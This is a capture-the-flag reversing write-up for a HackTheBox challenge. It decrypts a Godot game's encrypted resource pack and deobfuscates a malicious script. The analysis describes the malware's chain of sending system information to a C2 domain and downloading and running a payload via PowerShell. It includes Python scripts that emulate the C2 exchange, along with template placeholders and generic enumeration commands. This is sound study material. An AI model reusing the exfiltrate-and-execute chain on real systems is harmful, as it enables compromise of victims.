← Back to Writeups
HTBN/AReversing

Challenge Scenario (rev_gameloader)

XESXOR8/23/20265 min read
#reversing#htb#n/a

Challenge Scenario (rev_gameloader)

Platform: HackTheBox | Category: Reversing | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-03-15 | Status: Solved Techniques: godot_pck_decryption, aes_key_extraction, gdscript_deobfuscation, c2_emulation, http_header_inspection

Summary

Despite having an updated antivirus, my computer was compromised after running a game. Investigate the game and uncover the two-part flag.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: HackTheBox | ID: 20260315_hackthebox_rev_gameloader
  • Tags: obfuscation, game, malware, c2, godot, pck, aes-256-cfb, gdscript, http-headers
  • Indicators: Godot PCK file with encryption flag, AES-256 key in .data section, GDScript with integer arrays, C2 server requiring Host header, Flag in HTTP response headers
  • Source: 20260315_hackthebox_rev_gameloader.md

Foothold

Vulnerability / Misconfiguration

  1. Godot_pck_decryption
  2. Aes_key_extraction
  3. Gdscript_deobfuscation
  4. C2_emulation
  5. Http_header_inspection
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • godot_pck_decryption
  • aes_key_extraction
  • gdscript_deobfuscation
  • c2_emulation
  • http_header_inspection
  • Tags: obfuscation, game, malware, c2, godot, pck, aes-256-cfb, gdscript, http-headers

Original Writeup

<details><summary>Click to expand original content</summary>

Description

Despite having an updated antivirus, my computer was compromised after running a game. Investigate the game and uncover the two-part flag.

Analysis

Initial Reconnaissance

Downloaded the challenge zip (password: hackthebox). Inside: a Godot Engine game with two files:

  • Platformer 2D.exe — PE32+ x86-64 Godot Engine binary (44MB)
  • Platformer 2D.pck — Godot PCK resource file (2.4MB), encrypted (AES-256-CFB, Godot 4.1.1, 126 files)

PCK Encryption Analysis

The PCK file had encryption flag set (flags=0x1). Studied the Godot 4.1.1 source code (file_access_pack.cpp and file_access_encrypted.cpp) to understand the exact encryption format:

  • Header (96 bytes) is unencrypted
  • File count (4 bytes) is unencrypted (126 files)
  • File directory is encrypted using FileAccessEncrypted format (no magic): 16 bytes MD5 hash + 8 bytes length + 16 bytes IV + AES-256-CFB encrypted data
  • Each file's content is also individually encrypted in the same format

AES-256 Key Extraction

The AES-256 key was found in the EXE's .data section using strings and radare2 analysis:

  • Key: f2f44f0aaa282c6b66065b1ca437abae05e20a55a0f6b2fd85f5b90576f0c88f

Malicious GDScript Analysis

Found malicious code in player.gd (7530 bytes). The script was heavily obfuscated with dozens of intermediate variables containing integer arrays that represent character codes, which are then joined and base64-decoded.

Key decoded values:

  • target_url: http://g4m3l0ad3r-network.htb (C2 server domain)
  • ioqw: p47l0ad_binary (download path)
  • loap: REDACTED} (flag part 2, used as input to MD5 hash)
  • aklq+paic: Cookie value for authentication

The malware behavior:

  1. Collects system info (OS, CPU, locale, user directory)
  2. POSTs JSON to http://g4m3l0ad3r-network.htb/enum
  3. On success, downloads payload from /p47l0ad_binary with a specific Cookie header
  4. Saves as new_level_mod.exe and executes it via PowerShell with MD5 hash of loap as argument

Cookie Authentication Trick

The cookie was constructed as "".join(aklq+paic) in GDScript. Critical insight: GDScript's "".join() on an array of integers converts each integer to its string representation (not chr()). So [57, 151, 53, 31, 99, 105, ...] becomes "5715531991054911790122821167750119119898781122901228211677501191119".

Solution

Step 1: Decrypt PCK File

#!/usr/bin/env python3
from Crypto.Cipher import AES
import hashlib
import struct

KEY_HEX = "f2f44f0aaa282c6b66065b1ca437abae05e20a55a0f6b2fd85f5b90576f0c88f"
KEY = bytes.fromhex(KEY_HEX)

def decrypt_fae_block(data: bytes) -> bytes:
    """Decrypt FileAccessEncrypted block (no magic header)"""
    md5_hash = data[0:16]
    length = struct.unpack('<Q', data[16:24])[0]
    iv = data[24:40]
    encrypted = data[40:]
    
    cipher = AES.new(KEY, AES.MODE_CFB, iv=iv, segment_size=128)
    decrypted = cipher.decrypt(encrypted)
    
    # Verify MD5
    if hashlib.md5(decrypted[:length]).digest() != md5_hash:
        raise ValueError("MD5 mismatch")
    
    return decrypted[:length]

# Read PCK, skip 96-byte header, decrypt file directory and contents
# Extract all 126 files including player.gd

Step 2: Deobfuscate GDScript

#!/usr/bin/env python3
import base64

# Example obfuscated variables from player.gd
jkoq = [97, 72, 82, 48, 99, 68, 111, 118, 76, 50, 99, 48, 98, 84, 78, 115, 
        77, 71, 70, 107, 77, 51, 73, 116, 98, 109, 86, 48, 100, 50, 57, 121, 
        97, 121, 53, 111, 100, 71, 73, 61]

# Convert integer array to string, then base64 decode
target_url = base64.b64decode("".join(chr(c) for c in jkoq)).decode()
# Result: http://g4m3l0ad3r-network.htb

# Flag part 2 (loap variable)
loap = [71, 68, 95, 77, 64, 108, 119, 52, 114, 51, 95, 80, 67, 66, 50, 57, 53, 52, 51, 125]
flag_part2 = "".join(chr(c) for c in loap)
# Result: REDACTED}

Step 3: Interact with C2 Server

#!/usr/bin/env python3
import requests

# The challenge instance requires correct Host header
HOST = "154.57.164.77:31864"
headers = {"Host": "g4m3l0ad3r-network.htb"}

# Step 1: Enumerate
enum_data = {"os": "Windows", "cpu": "x86_64", "locale": "en_US", "user_dir": "C:/Users/victim"}
r = requests.post(f"http://{HOST}/enum", json=enum_data, headers=headers)
print(r.json())  # {"status":"success"}

# Step 2: Download payload with correct cookie
# GDScript join() on int array gives string representation of numbers
cookie_ints = [57, 151, 53, 31, 99, 105, ...]  # from aklq+paic
cookie_value = "".join(str(i) for i in cookie_ints)

headers["Cookie"] = f"auth={cookie_value}"
r = requests.get(f"http://{HOST}/p47l0ad_binary", headers=headers)

# Check response headers for flag part 1
print(r.headers.get("X-Half-Flag"))  # HTB{Und3t3ct3d_

Step 4: Combine Flag Parts

  • Part 1 (from X-Half-Flag HTTP header): HTB{Und3t3ct3d_
  • Part 2 (from obfuscated loap variable in player.gd): REDACTED}
</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR